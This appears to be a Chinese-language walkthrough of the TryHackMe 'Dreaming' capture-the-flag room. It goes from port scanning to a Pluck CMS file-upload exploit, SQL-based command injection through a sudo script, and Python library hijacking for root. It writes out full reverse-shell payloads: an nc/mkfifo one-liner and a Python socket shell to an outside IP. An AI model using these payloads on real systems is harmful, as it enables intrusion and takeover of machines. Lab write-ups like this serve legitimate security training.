简介:
Solve the riddle that dreams have woven.
房间链接:
https://tryhackme.com/room/dreaming#
问题:
挑战开始:
首先老样子先扫描下端口
└─# nmap -sC -sV 10.10.70.170
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-10 08:22 UTC
Nmap scan report for ip-10-10-70-170.eu-west-1.compute.internal (10.10.70.170)
Host is up (0.011s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 762667a6b0080eed34585b4e77459257 (RSA)
| 256 523aad267f6e3f23f9e4efe85ac8425c (ECDSA)
|_ 256 71df6e81f0807971a8da2e1e56c4debb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 02:35:B5:41:04:05 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以发现开放了22和80端口,访问80看看
可以发现是apache的默认界面
使用ffuf扫描目录
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.70.170/FUZZ > es.txt
成功找到app目录
这里可以发现存在一个pluck应用程序
通过查询版本,发现存在一个后台文件上传
那么先尝试进入后台
http://10.10.70.170/app/pluck-4.7.13/login.php
这里通过burp爆破出密码
接着下载exp
本地执行EXP
python3 49909.py 10.10.70.170 80 password /app/pluck-4.7.13/
访问
http://10.10.70.170/app/pluck-4.7.13//files/shell.phar
成功shell
在/opt下发现了两个文件,第一个里面有一个密码
反弹shell尝试登录
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.84 3333 >/tmp/f
python3 -c "import pty;pty.spawn('/bin/bash')"
但是并没有成功
查看第二个文件,又发现一个密码
成功登录lucien账号
成功获取第一个flag
sudo -l
发现death用户可以免密执行文件
但是这个文件我们看不了内容
先用death用户执行看一看
sudo /usr/bin/python3 /home/death/getDreams.py
根据上面在/opt下发现的同名文件,我们可以发现他向数据库查询了表,并把结果输出了
在lucien账户的历史命令中翻到了数据库密码
成功连接
这里我们尝试添加一行尝试命令执行
INSERT INTO dreams (dreamer, dream) VALUES ('sha', '$(/bin/bash)');
再次执行
sudo /usr/bin/python3 /home/death/getDreams.py
成功获得death用户权限
但是执行命令没回显,所以用bash重新反弹个shell
成功获取flag
通过读取文件知道了death的密码
但是找了很久提权方法都没成功
尝试查看进程
这里可以发现存在一个定时任务,定时执行/home/morpheus/restore.py
查看文件
发现他调用了shutil库
查看下权限
ls -la /usr/lib/python3.8/
发现death用户可以更改
执行下面的命令
echo""> /usr/lib/python3.8/shutil.py
接着
vim /usr/lib/python3.8/shutil.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
保存后等一会就可以收到shell
成功获取flag
Comments NOTHING